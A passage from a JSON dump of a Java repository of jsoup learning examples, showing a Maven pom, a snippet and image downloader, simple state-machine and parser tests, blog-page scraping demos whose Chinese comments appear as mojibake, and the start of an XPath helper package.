http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_jsoup</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.jsoup</groupId>\n\t\t\t<artifactId>jsoup</artifactId>\n\t\t\t<version>1.13.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-lang3</artifactId>\n\t\t\t<version>3.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-io</groupId>\n\t\t\t<artifactId>commons-io</artifactId>\n\t\t\t<version>2.4</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<!-- junit -->\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.5</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.assertj</groupId>\n\t\t\t<artifactId>assertj-core</artifactId>\n\t\t\t<version>3.9.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-codec</groupId>\n\t\t\t<artifactId>commons-codec</artifactId>\n\t\t\t<version>1.14</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>fastjson</artifactId>\n\t\t\t<version>1.2.76</version>\n\t\t</dependency>\n\n\t\t<!-- 添加httpclient支持 -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.httpcomponents</groupId>\n\t\t\t<artifactId>httpclient</artifactId>\n\t\t\t<version>4.5.2</version>\n\t\t</dependency>\n\n\t</dependencies>\n\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>8</source> <!-- 对应你的JDK版本 -->\n                    <target>8</target>\n                    <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/jsoup/GrabOschinaCode.java",
    "content": "package com.jun.plugin.jsoup;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.apache.commons.io.IOUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.math.NumberUtils;\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\n\npublic class GrabOschinaCode {\n\tprivate static String URL = \"http://www.oschina.net/code/tag/\";\n\tprivate String tempDir = \"d://temp/\";\n\n\tpublic static void main(String[] args) {\n\t\tGrabOschinaCode grabOschinaCode = new GrabOschinaCode();\n\t\tgrabOschinaCode.grabCodeByTag(\"jsoup\");\n\t\t//grabOschinaCode.downloadJavaCode(\"http://www.oschina.net/code/snippet_572254_15878\");\n\t\t\n\t\t//String tempString = \"view.Util\";\n\t\t//System.out.println(tempString.replaceAll(\"\\\\.\", \"/\"));\n\t}\n\t\n\tpublic void grabCodeByTag(String tagName) {\n\t\tString tagUrl = URL + tagName + \"?p=1\";\n\t\t\n\t\ttry {\n\t\t\tDocument document = Jsoup.connect(tagUrl).userAgent(\"Mozilla\").get(); //处理首页\n\n\t\t\tList<String> titles = new ArrayList<String>();\n\t\t\t\n\t\t\tElements titleLinkElements = document.select(\"h3.code_title > a\");\n\t\t\tfor (Element element : titleLinkElements) {\n\t\t\t\ttitles.add(element.attr(\"href\"));\n\t\t\t}\n\t\t\t\n\t\t\t// 得到最大页数\n\t\t\t//Element maxPageElement = document.select(\"ul[class=pager] > li:last-child + li\").first();\n\t\t\tint size = document.select(\"ul.pager li\").size();\n\t\t\tElement maxPageElement = document.select(\"ul.pager li\").get(size - 2);\n\t\t\tint maxPage = NumberUtils.toInt(maxPageElement.select(\"a\").text());\n\t\t\tSystem.out.println(\"maxPage=\" + maxPage);\n\t\t\tfor (int i = 2; i < maxPage; i++) {\n\t\t\t\tString pageUrl = URL + tagName + \"?p=\" + i;\n\t\t\t\tDocument doc = Jsoup.connect(pageUrl).userAgent(\"Mozilla\").get(); //处理首页\n\t\t\t\tElements tlElements = doc.select(\"h3.code_title > a\");\n\t\t\t\tfor (Element element : tlElements) {\n\t\t\t\t\ttitles.add(element.attr(\"href\"));\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tfor (String t : titles) {\n\t\t\t\tdownloadJavaCode(t);\n\t\t\t}\n\t\t\t\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\tpublic void downloadJavaCode(String url) {\n\t\ttry {\n\t\t\tDocument document = Jsoup.connect(url).userAgent(\"Mozilla\").get();\n\t\t\t\n\t\t\tElements javaCodeElements = document.select(\"pre[class*=java]\");\n\t\t\tfor (Element element : javaCodeElements) {\n\t\t\t\tdownloadFile(element.text());\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t} \n\t}\n\n\tpublic void downloadFile(String codeText) {\n\t\tString dir = tempDir;\n\t\t// 分析包名\n\t\tint packageIndex = codeText.indexOf(\"package \");\n\t\tif (packageIndex > -1) {\n\t\t\tString temp = StringUtils.substringBetween(codeText, \"package \", \";\");\n\t\t\tdir = dir + temp.replaceAll(\"\\\\.\", \"/\") + \"/\";\n\t\t}\n\t\t\n\t\t// 分析class名\n\t\tint classIndex = codeText.indexOf(\"public class \");\n\t\tif (classIndex > -1) {\n\t\t\tdir = dir + StringUtils.substringBetween(codeText, \"public class \", \" \"); \n\t\t\tif (dir.indexOf(\"{\") > -1) {\n\t\t\t\tdir = StringUtils.substringBefore(dir, \"{\");\n\t\t\t}\n\t\t\tdir +=\".java\";\n\t\t} else {\n\t\t\treturn;//忽略其他情况\n\t\t}\n\t\t\n\t\tFile fileDest = new File(dir);\n\t\tif (!fileDest.getParentFile().exists()) {\n\t\t\tfileDest.getParentFile().mkdirs();\n\t\t}\n\t\t\n\t\tFileOutputStream fos = null;\n\t\ttry {\n\t\t\tfos = new FileOutputStream(fileDest);\n\t\t\tIOUtils.write(codeText, fos);\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tIOUtils.closeQuietly(fos);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/jsoup/HTMLImageFetcher.java",
    "content": "package com.jun.plugin.jsoup;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.HttpURLConnection;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.HashMap;\n\nimport org.apache.commons.io.FilenameUtils;\nimport org.apache.commons.io.IOUtils;\nimport org.apache.commons.lang3.RandomStringUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\n\n\n/**\n * <a href=\"http://my.oschina.net/arthor\" target=\"_blank\" rel=\"nofollow\">@author</a>  Bruce Yang\n * 改了一下，单机版了，强烈建议放码不要放一半留一半，真没啥意思~\n */\npublic class HTMLImageFetcher {\n\tprotected final static String img_path = \"/Users/user/Desktop/ImageFetcher/\";\n\tprivate final static String user_agent = \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\";\n\tprotected final static SimpleDateFormat FMT_FN = new SimpleDateFormat(\"yyyyMM/ddHHmmss_\");\n\t\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\tString html = \"这张图片很漂亮啊！\"\n\t\t\t\t+ \"<img src='http://techcn.com.cn/uploads/201004/12705551313uy0urE3.jpg' alt=''/>\"\n\t\t\t\t+ \" ，太帅了！<img src='/img/logo.gif' alt='oschina'/>\";\n\t\tSystem.out.println(fetchHTML_Images(html));\n\t}\n\n\t/**\n\t * 下载HTML文档中的所有图片\n\t * @param html\n\t * @return\n\t */\n\tprotected static String fetchHTML_Images(String html) {\n\t\tif (StringUtils.isBlank(html)) {\n\t\t\treturn html;\n\t\t}\n\t\tHashMap<String, String> img_urls = new HashMap<String, String>();\n\t\tDocument doc = Jsoup.parse(html);\n\t\tElements imgs = doc.select(\"img\");\n\t\tfor (int i = 0; i < imgs.size(); i++) {\n\t\t\tElement img = imgs.get(i);\n\t\t\tString src = img.attr(\"src\");\n\t\t\tif (!src.startsWith(\"/\")) {\n\t\t\t\ttry {\n\t\t\t\t\tURL imgUrl = new URL(src);\n\t\t\t\t\tString imgHost = imgUrl.getHost().toLowerCase();\n\t\t\t\t\tif (!imgHost.endsWith(\".oschina.net\")) {\n\t\t\t\t\t\tString new_src = img_urls.get(src);\n\t\t\t\t\t\tif (new_src == null) {\n\t\t\t\t\t\t\tnew_src = fetchImageViaHttp(imgUrl);\n\t\t\t\t\t\t\timg_urls.put(src, new_src);\n\t\t\t\t\t\t}\n\t\t\t\t\t\timg.attr(\"src\", new_src);\n\t\t\t\t\t}\n\t\t\t\t} catch (MalformedURLException e) {\n\t\t\t\t\timg.remove();\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t\timg.remove();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn doc.body().html();\n\t}\n\n\tprivate static String fetchImageViaHttp(URL imgUrl) throws IOException {\n\t\tString sURL = imgUrl.toString();\n\t\tString imgFile = imgUrl.getPath();\n\t\tHttpURLConnection conn = (HttpURLConnection) imgUrl.openConnection();\n\t\tString uri = null;\n\t\ttry {\n\t\t\tconn.setAllowUserInteraction(false);\n\t\t\tconn.setDoOutput(true);\n\t\t\tconn.addRequestProperty(\"Cache-Control\", \"no-cache\");\n\t\t\tconn.addRequestProperty(\"User-Agent\", user_agent);\n\t\t\tconn.addRequestProperty(\"Referer\", sURL.substring(0, sURL.indexOf('/', sURL.indexOf('.')) + 1));\n\t\t\tconn.connect();\n\t\t\t\n\t\t\tif (conn.getResponseCode() != HttpURLConnection.HTTP_OK) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\t\t\n\t\t\tInputStream imgData = conn.getInputStream();\n\t\t\tString ext = FilenameUtils.getExtension(imgFile).toLowerCase();\n\t\t\tif (!isImageFile(\"aa.\" + ext)) {\n\t\t\t\text = \"jpg\";\n\t\t\t}\n\t\t\turi = FMT_FN.format(new Date()) + RandomStringUtils.randomAlphanumeric(4) + '.' + ext;\n\t\t\tSystem.err.println(uri);\n\n\t\t\tFile fileDest = new File(img_path + uri);\n\t\t\tif (!fileDest.getParentFile().exists()) {\n\t\t\t\tfileDest.getParentFile().mkdirs();\n\t\t\t}\n\t\t\t\n\t\t\tFileOutputStream fos = new FileOutputStream(fileDest);\n\t\t\ttry {\n\t\t\t\tIOUtils.copy(imgData, fos);\n\t\t\t} finally {\n\t\t\t\tIOUtils.closeQuietly(imgData);\n\t\t\t\tIOUtils.closeQuietly(fos);\n\t\t\t}\n\t\t} finally {\n\t\t\tconn.disconnect();\n\t\t}\n\t\treturn img_path + uri;\n\t}\n\n\t/** added by Bruce Yang on 2012.04.16.04.01~ */\n\tprivate static boolean isImageFile(String fileName) {\n\t\tString[] imgSuffixs = {\n\t\t\t\".gif\", \".jpg\", \".jpeg\", \".png\", \n\t\t\t\".tiff\", \".bmp\",\n\t\t};\n\t\tfor(String suffix : imgSuffixs) {\n\t\t\tif(fileName.endsWith(suffix)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/jsoup/test/automata/ABStateMachine.java",
    "content": "package com.jun.plugin.jsoup.test.automata;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic interface ABStateMachine {\n\n    void process(StringReader reader) throws StringReader.EOFException;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/jsoup/test/automata/StateModelABStateMachine.java",
    "content": "package com.jun.plugin.jsoup.test.automata;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic class StateModelABStateMachine implements ABStateMachine {\n\n    State state;\n\n    StringBuilder accum;\n\n    enum State {\n        Init {\n            @Override\n            public void process(StateModelABStateMachine stateModelABStateMachine, StringReader reader) throws StringReader.EOFException {\n                char ch = reader.read();\n                if (ch == 'a') {\n                    stateModelABStateMachine.state = AfterA;\n                    stateModelABStateMachine.accum.append(ch);\n                }\n            }\n        },\n        Accept {\n            @Override\n            public void process(StateModelABStateMachine stateModelABStateMachine, StringReader reader) throws StringReader.EOFException {\n                System.out.println(\"find \" + stateModelABStateMachine.accum.toString());\n                stateModelABStateMachine.accum = new StringBuilder();\n                stateModelABStateMachine.state = Init;\n                reader.unread();\n            }\n        },\n        AfterA {\n            @Override\n            public void process(StateModelABStateMachine stateModelABStateMachine, StringReader reader) throws StringReader.EOFException {\n                char ch = reader.read();\n                if (ch == 'b') {\n                    stateModelABStateMachine.accum.append(ch);\n                    stateModelABStateMachine.state = AfterB;\n                } else {\n                    stateModelABStateMachine.state = Accept;\n                }\n            }\n        },\n        AfterB {\n            @Override\n            public void process(StateModelABStateMachine stateModelABStateMachine, StringReader reader) throws StringReader.EOFException {\n                char ch = reader.read();\n                if (ch == 'b') {\n                    stateModelABStateMachine.accum.append(ch);\n                    stateModelABStateMachine.state = AfterB;\n                } else {\n                    stateModelABStateMachine.state = Accept;\n                }\n            }\n        };\n\n        public void process(StateModelABStateMachine stateModelABStateMachine, StringReader reader) throws StringReader.EOFException {\n        }\n    }\n\n    public void process(StringReader reader) throws StringReader.EOFException {\n        state.process(this, reader);\n    }\n\n    public static void main(String[] args) {\n        ABStateMachine abStateMachine = new StateModelABStateMachine();\n        String text = \"abbbababbbaa\";\n        StringReader reader = new StringReader(text);\n        try {\n            while (true) {\n                abStateMachine.process(reader);\n            }\n        } catch (StringReader.EOFException e) {\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/jsoup/test/automata/StringReader.java",
    "content": "package com.jun.plugin.jsoup.test.automata;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic class StringReader {\n\n    class EOFException extends Exception {\n\n    }\n\n    private String string;\n\n    private int index;\n\n    public StringReader(String string) {\n        this.string = string;\n    }\n\n    public char read() throws EOFException {\n        if (index < string.length() - 1) {\n            return string.charAt(index++);\n        } else {\n            throw new EOFException();\n        }\n    }\n\n    public void unread() {\n        index--;\n        if (index < 0) {\n            index = 0;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/jsoup/test/automata/SwitchABStateMachine.java",
    "content": "package com.jun.plugin.jsoup.test.automata;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic class SwitchABStateMachine implements ABStateMachine {\n\n    enum State {\n        Init, Accept, AfterA, AfterB;\n    }\n\n    private StringBuilder accum = new StringBuilder();\n\n    private State state = State.Init;\n\n    public void process(StringReader reader) throws StringReader.EOFException {\n        char ch;\n        switch (state) {\n            case Init:\n                ch = reader.read();\n                if (ch == 'a') {\n                    state = State.AfterA;\n                    accum.append(ch);\n                }\n                break;\n            case AfterA:\n                ch = reader.read();\n                if (ch == 'b') {\n                    accum.append(ch);\n                    state = State.AfterB;\n                } else {\n                    state = State.Accept;\n                }\n                break;\n            case AfterB:\n                ch = reader.read();\n                if (ch == 'b') {\n                    accum.append(ch);\n                    state = State.AfterB;\n                } else {\n                    state = State.Accept;\n                }\n                break;\n            case Accept:\n                System.out.println(\"find \" + accum.toString());\n                accum = new StringBuilder();\n                state = State.Init;\n                reader.unread();\n                break;\n        }\n    }\n\n    public static void main(String[] args) {\n        ABStateMachine abStateMachine = new SwitchABStateMachine();\n        String text = \"abbbababbbaa\";\n        StringReader reader = new StringReader(text);\n        try {\n            while (true){\n                abStateMachine.process(reader);\n            }\n        } catch (StringReader.EOFException e) {\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/jsoup/test/parser/PageErrorChecker.java",
    "content": "package com.jun.plugin.jsoup.test.parser;\n\nimport org.jsoup.Jsoup;\nimport org.jsoup.parser.ParseError;\nimport org.jsoup.parser.Parser;\n\nimport java.io.IOException;\nimport java.util.List;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic class PageErrorChecker {\n\n    public static List<ParseError> check(String url) throws IOException {\n        Parser parser = Parser.htmlParser();\n        parser.setTrackErrors(100);\n        String body = Jsoup.connect(url).userAgent(\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36\")\n                .execute().body();\n        parser.parseInput(body, url);\n        List<ParseError> errors = parser.getErrors();\n        return errors;\n    }\n\n    public static void main(String[] args) throws IOException {\n        List<ParseError> check = check(\"http://www.dianping.com\");\n        System.out.println(check);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/jsoup/test/parser/ParserCorrectorTest.java",
    "content": "package com.jun.plugin.jsoup.test.parser;\n\nimport org.jsoup.nodes.Document;\nimport org.jsoup.parser.ParseError;\nimport org.jsoup.parser.Parser;\n\nimport java.util.List;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic class ParserCorrectorTest {\n\n    public static void main(String[] args) {\n        String htmlWithDivUnclosed = \"<body>\\n\" +\n                \" <textarea>\\n\" +\n                \"        &lt;!-- Text --&gt;\\n\" +\n                \"        xxx\\n\" +\n                \"    </textarea> \\n\" +\n                \" <div> \\n\" +\n                \" <div>\\n\" +\n                \"  <table> \\n\" +\n                \"   <!-- InTable --> \\n\" +\n                \"   <!-- InTableText --> xxx \\n\" +\n                \"   <tbody> \\n\" +\n                \"    <tr> \\n\" +\n                \"     <!-- InRow --> \\n\" +\n                \"     <td> \\n\" +\n                \"      <!-- InCell --> </td> \\n\" +\n                \"    </tr> \\n\" +\n                \"   </tbody> \\n\" +\n                \"  </table> \\n\" +\n                \" </div> \\n\" +\n                \"</body>\";\n        Parser parser = Parser.htmlParser();\n        parser.setTrackErrors(100);\n        Document document = parser.parseInput(htmlWithDivUnclosed, \"\");\n        List<ParseError> errors = parser.getErrors();\n        System.out.println(errors);\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/jsoup/test/select/SelectorTest.java",
    "content": "package com.jun.plugin.jsoup.test.select;\n\nimport org.jsoup.nodes.Document;\nimport org.jsoup.parser.Parser;\nimport org.jsoup.select.Elements;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic class SelectorTest {\n\n    public static void main(String[] args) {\n        String html = \"<body>\\n\" +\n                \" <textarea>\\n\" +\n                \"        &lt;!-- Text --&gt;\\n\" +\n                \"        xxx\\n\" +\n                \"    </textarea> \\n\" +\n                \" <div> \\n\" +\n                \"  <table> \\n\" +\n                \"   <!-- InTable --> \\n\" +\n                \"   <!-- InTableText --> xxx \\n\" +\n                \"   <tbody> \\n\" +\n                \"    <tr> \\n\" +\n                \"     <!-- InRow --> \\n\" +\n                \"     <td> \\n\" +\n                \"      <!-- InCell --> </td> \\n\" +\n                \"    </tr> \\n\" +\n                \"   </tbody> \\n\" +\n                \"  </table> \\n\" +\n                \" </div> \\n\" +\n                \"</body>\";\n        Parser parser = Parser.htmlParser();\n        Document document = parser.parseInput(html, \"\");\n        Elements select = document.select(\"body div\");\n        System.out.println(select);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/jsoupdemo/Demo01.java",
    "content": "package com.jun.plugin.jsoupdemo;\n\nimport org.apache.http.HttpEntity;\nimport org.apache.http.client.methods.CloseableHttpResponse;\nimport org.apache.http.client.methods.HttpGet;\nimport org.apache.http.impl.client.CloseableHttpClient;\nimport org.apache.http.impl.client.HttpClients;\nimport org.apache.http.util.EntityUtils;\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\n\npublic class Demo01 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tCloseableHttpClient httpclient = HttpClients.createDefault(); // ����httpclientʵ��\n        HttpGet httpget = new HttpGet(\"http://www.cnblogs.com/\"); // ����httpgetʵ��\n         \n        CloseableHttpResponse response = httpclient.execute(httpget); // ִ��get����\n        HttpEntity entity=response.getEntity(); // ��ȡ����ʵ��\n        String content=EntityUtils.toString(entity, \"utf-8\");\n        response.close(); // �ر������ͷ�ϵͳ��Դ\n        \n        Document doc=Jsoup.parse(content); // ������ҳ �õ��ĵ�����\n        Elements elements=doc.getElementsByTag(\"title\"); // ��ȡtag��title������DOMԪ��\n        Element element=elements.get(0); // ��ȡ��1��Ԫ��\n        String title=element.text(); // ����Ԫ�ص��ı�\n        System.out.println(\"��ҳ�����ǣ�\"+title);\n        \n        Element element2=doc.getElementById(\"site_nav_top\"); // ��ȡid=site_nav_top��DOMԪ��\n        String navTop=element2.text(); // ����Ԫ�ص��ı�\n        System.out.println(\"�ںţ�\"+navTop);\n         \n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/jsoupdemo/Demo02.java",
    "content": "package com.jun.plugin.jsoupdemo;\n\nimport org.apache.http.HttpEntity;\nimport org.apache.http.client.methods.CloseableHttpResponse;\nimport org.apache.http.client.methods.HttpGet;\nimport org.apache.http.impl.client.CloseableHttpClient;\nimport org.apache.http.impl.client.HttpClients;\nimport org.apache.http.util.EntityUtils;\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\n\npublic class Demo02 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tCloseableHttpClient httpclient = HttpClients.createDefault(); // ����httpclientʵ��\n        HttpGet httpget = new HttpGet(\"http://www.cnblogs.com/\"); // ����httpgetʵ��\n         \n        CloseableHttpResponse response = httpclient.execute(httpget); // ִ��get����\n        HttpEntity entity=response.getEntity(); // ��ȡ����ʵ��\n        String content=EntityUtils.toString(entity, \"utf-8\");\n        response.close(); // �ر������ͷ�ϵͳ��Դ\n        \n        Document doc=Jsoup.parse(content); // ������ҳ �õ��ĵ�����\n        Elements elements=doc.getElementsByTag(\"title\"); // ��ȡtag��title������DOMԪ��\n        Element element=elements.get(0); // ��ȡ��1��Ԫ��\n        String title=element.text(); // ����Ԫ�ص��ı�\n        System.out.println(\"��ҳ�����ǣ�\"+title);\n        \n        Element element2=doc.getElementById(\"site_nav_top\"); // ��ȡid=site_nav_top��DOMԪ��\n        String navTop=element2.text(); // ����Ԫ�ص��ı�\n        System.out.println(\"�ںţ�\"+navTop);\n        \n        Elements itemElements=doc.getElementsByClass(\"post_item\"); // ������ʽ��������ѯDOM\n        System.out.println(\"=======���post_item==============\");\n        for(Element e:itemElements){\n        \tSystem.out.println(e.html());\n        \tSystem.out.println(\"-------------\");\n        }\n        \n        Elements widthElements=doc.getElementsByAttribute(\"width\"); // ����������������ѯDOM\n        System.out.println(\"=======���with��DOM==============\");\n        for(Element e:widthElements){\n        \tSystem.out.println(e.toString());\n        \tSystem.out.println(\"-------------\");\n        }\n        \n        Elements targetElements=doc.getElementsByAttributeValue(\"target\", \"_blank\");\n        System.out.println(\"=======���target-_blank��DOM==============\");\n        for(Element e:targetElements){\n        \tSystem.out.println(e.toString());\n        \tSystem.out.println(\"-------------\");\n        }\n        \n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/jsoupdemo/Demo03.java",
    "content": "package com.jun.plugin.jsoupdemo;\n\nimport org.apache.http.HttpEntity;\nimport org.apache.http.client.methods.CloseableHttpResponse;\nimport org.apache.http.client.methods.HttpGet;\nimport org.apache.http.impl.client.CloseableHttpClient;\nimport org.apache.http.impl.client.HttpClients;\nimport org.apache.http.util.EntityUtils;\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\n\npublic class Demo03 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tCloseableHttpClient httpclient = HttpClients.createDefault(); // ����httpclientʵ��\n        HttpGet httpget = new HttpGet(\"http://www.cnblogs.com/\"); // ����httpgetʵ��\n         \n        CloseableHttpResponse response = httpclient.execute(httpget); // ִ��get����\n        HttpEntity entity=response.getEntity(); // ��ȡ����ʵ��\n        String content=EntityUtils.toString(entity, \"utf-8\");\n        response.close(); // �ر������ͷ�ϵͳ��Դ\n        \n        Document doc=Jsoup.parse(content); // ������ҳ �õ��ĵ�����\n        \n        Elements linkElements=doc.select(\"#post_list .post_item .post_item_body h3 a\"); //ͨ��ѡ�����������в�������DOM\n        for(Element e:linkElements){\n        \tSystem.out.println(\"���ͱ��⣺\"+e.text());\n        }\n        \n        System.out.println(\"===============\");\n        Elements hrefElements=doc.select(\"a[href]\"); // ����href���Ե�aԪ��\n        for(Element e:hrefElements){\n        \tSystem.out.println(e.toString());\n        }\n        \n        System.out.println(\"===============\");\n        Elements imgElements=doc.select(\"img[src$=.png]\"); // ������չ��Ϊ.png��ͼƬDOM�ڵ�\n        for(Element e:imgElements){\n        \tSystem.out.println(e.toString());\n        }\n        \n        Element element=doc.getElementsByTag(\"title\").first(); // ��ȡtag��title������DOMԪ��\n        String title=element.text(); // ����Ԫ�ص��ı�\n        System.out.println(\"��ҳ�����ǣ�\"+title);\n        \n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/jsoupdemo/Demo04.java",
    "content": "package com.jun.plugin.jsoupdemo;\n\nimport org.apache.http.HttpEntity;\nimport org.apache.http.client.methods.CloseableHttpResponse;\nimport org.apache.http.client.methods.HttpGet;\nimport org.apache.http.impl.client.CloseableHttpClient;\nimport org.apache.http.impl.client.HttpClients;\nimport org.apache.http.util.EntityUtils;\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\n\npublic class Demo04 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tCloseableHttpClient httpclient = HttpClients.createDefault(); // ����httpclientʵ��\n        HttpGet httpget = new HttpGet(\"http://www.cnblogs.com/\"); // ����httpgetʵ��\n         \n        CloseableHttpResponse response = httpclient.execute(httpget); // ִ��get����\n        HttpEntity entity=response.getEntity(); // ��ȡ����ʵ��\n        String content=EntityUtils.toString(entity, \"utf-8\");\n        response.close(); // �ر������ͷ�ϵͳ��Դ\n        \n        Document doc=Jsoup.parse(content); // ������ҳ �õ��ĵ�����\n        \n        Elements linkElements=doc.select(\"#post_list .post_item .post_item_body h3 a\"); //ͨ��ѡ�����������в�������DOM\n        for(Element e:linkElements){\n        \tSystem.out.println(\"���ͱ��⣺\"+e.text());\n        \tSystem.out.println(\"���͵�ַ��\"+e.attr(\"href\"));\n        \tSystem.out.println(\"target��\"+e.attr(\"target\"));\n        }\n        \n        Element linkElement=doc.select(\"#friend_link\").first();\n        System.out.println(\"���ı���\"+linkElement.text());\n        System.out.println(\"Html��\"+linkElement.html());\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/XElement.java",
    "content": "package com.jun.plugin.xsoup;\n\nimport org.jsoup.nodes.Element;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic interface XElement {\n\n    String get();\n\n    Element getElement();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/XElements.java",
    "content": "package com.jun.plugin.xsoup;\n\nimport java.util.List;\nimport org.jsoup.select.Elements;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic interface XElements {\n\n    String get();\n\n    List<String> list();\n\n    Elements getElements();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/XPathEvaluator.java",
    "content": "package com.jun.plugin.xsoup;\n\nimport org.jsoup.nodes.Element;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic interface XPathEvaluator {\n\n    XElements evaluate(Element element);\n\n    boolean hasAttribute();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/XTokenQueue.java",
    "content": "package com.jun.plugin.xsoup;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.regex.Pattern;\n\nimport org.jsoup.helper.Validate;\nimport org.jsoup.internal.StringUtil;\n\n/**\n * A character queue with parsing helpers.\n * <br>\n * Most code borrowed from {@link org.jsoup.parser.TokenQueue}\n *\n * @author Jonathan Hedley\n * @see org.jsoup.parser.TokenQueue\n */\npublic class XTokenQueue {\n    private static final char ESC = '\\\\'; // escape char for chomp balanced.\n    private static final String[] quotes = {\"\\\"\", \"'\"};\n    private static final char singleQuote = '\\'';\n    private static final char doubleQuote = '\"';\n    private String queue;\n    private int pos = 0;\n\n    /**\n     * Create a new TokenQueue.\n     *\n     * @param data string of data to back queue.\n     */\n    public XTokenQueue(String data) {\n        Validate.notNull(data);\n        queue = data;\n    }\n\n    /**\n     * Unescaped a \\ escaped 